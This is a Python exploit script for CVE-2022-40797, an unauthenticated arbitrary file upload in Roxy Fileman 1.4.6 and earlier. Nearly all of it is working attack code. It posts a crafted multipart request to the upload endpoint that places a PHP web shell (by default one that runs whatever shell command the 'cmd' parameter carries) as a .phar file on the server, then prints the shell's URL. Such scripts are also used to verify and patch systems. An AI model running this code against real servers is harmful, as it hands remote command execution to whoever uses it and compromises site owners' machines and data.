# Exploit Title: Roxy Fileman <= 1.4.6 Arbitrary File Upload (Unathenticated)
# Date: 11/12/2022
# Exploit Author: Hadi Mene <hadi_mene@hotmail.com>
# Vendor Homepage: roxyfileman.com
# Software Link: https://web.archive.org/web/20210126213412/https://roxyfileman.com/download.php?f=1.4.6-php
# Version: <= 1.4.6
# Tested on: Ubuntu 18.04 
# CVE : CVE-2022-40797

# https://nvd.nist.gov/vuln/detail/CVE-2022-40797 

import requests
from optparse import OptionParser
from os.path import basename

banner =  '#################################################\n'
banner += '# Roxy Fileman <= 1.4.6 Arbitrary File Upload   #\n'
banner += '#\t\t\t\t\t\t#\n'
banner += '#\tCVE-2022-40797 exploit code\t\t#\n'
banner += '#\t\t\t\t\t\t#\n'
banner += '#\t\t\t\t\t\t#\n'
banner += '#  Author : Hadi Mene <hadi_mene@hotmail.com>\t#\n'
banner += '#\t\t\t\t\t\t#\n'
banner += '#################################################\n'


parser = OptionParser()
parser.add_option("-u", "--url", dest="url",
                  help="url of roxy fileman installation")
parser.add_option("-s", "--shell",dest="shell", default=False,
                  help="path of the php shell if not specified defaut shell will be uploaded ")


(options, args) = parser.parse_args()


if options.url is None:
  parser.error('URL is required use -h for help')

url = options.url

#It seems that in some versions of the app an '/' in the end of the url breaks the exploit code
if (url.endswith('/')):
  url = url[:-1] # we delete that '/'
  
webroot = options.url.split('/')[3:]
webroot = '/'+ '/'.join(webroot)

if (webroot.endswith('/')):
  webroot = webroot[:-1]
  
webroot = webroot+'/Uploads'

if options.shell:
  shell = open(options.shell,'r').read()
  filename = basename(options.shell)
  filename = filename.split('.')[0]
  
else:
  # default shell
  shell = "<?php system($_GET['cmd']); ?>"
  filename = 'shell'


headers = {
    'Host': (url.split('/')[2]),
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
    'Accept': '*/*',
    'Accept-Language': 'en-US,en;q=0.5',
    'Content-Type': 'multipart/form-data; boundary=---------------------------39556237418830295983527604767',
    'Origin': (url.split('/')[2]),
    'Connection': 'close',
}

data = '-----------------------------39556237418830295983527604767\r\nContent-Disposition: form-data; name="action"\r\n\r\nupload\r\n-----------------------------39556237418830295983527604767\r\nContent-Disposition: form-data; name="method"\r\n\r\najax\r\n-----------------------------39556237418830295983527604767\r\nContent-Disposition: form-data; name="d"\r\n\r\n'+(webroot)+'\r\n-----------------------------39556237418830295983527604767\r\nContent-Disposition: form-data; name="files[]"; filename="'+(filename)+'.phar"\r\nContent-Type: text/plain\r\n\r\n'+shell+'\n\r\n-----------------------------39556237418830295983527604767--\r\n'

#We check if a file with the same filename is already there 
#because Roxy doesn't overwrite file instead it changes the filename of the newly uploaded file
if 'href="'+filename+'.phar"' in (requests.get(url+'/Uploads/').text):
  already_uploaded = True
else:
  already_uploaded = False
  
# file upload
req = requests.post(url+'/php/upload.php', headers=headers, data=data, verify=False)
response = (req.text)

print(banner)

if '{"res":"ok","msg":""}' in (response):
# success
  print('File Uploaded Successfully!!!')
  
  if already_uploaded:
    print('A file with the same filename is already on the server..')
    print('URL: '+url+'/Uploads/'+(filename)+' - Copy X.phar ')
    
  else:
    print('URL: '+url+'/Uploads/'+(filename)+'.phar')

else:
  # failure
  print('Shell Upload Failed :((( ')
  print(response) #debug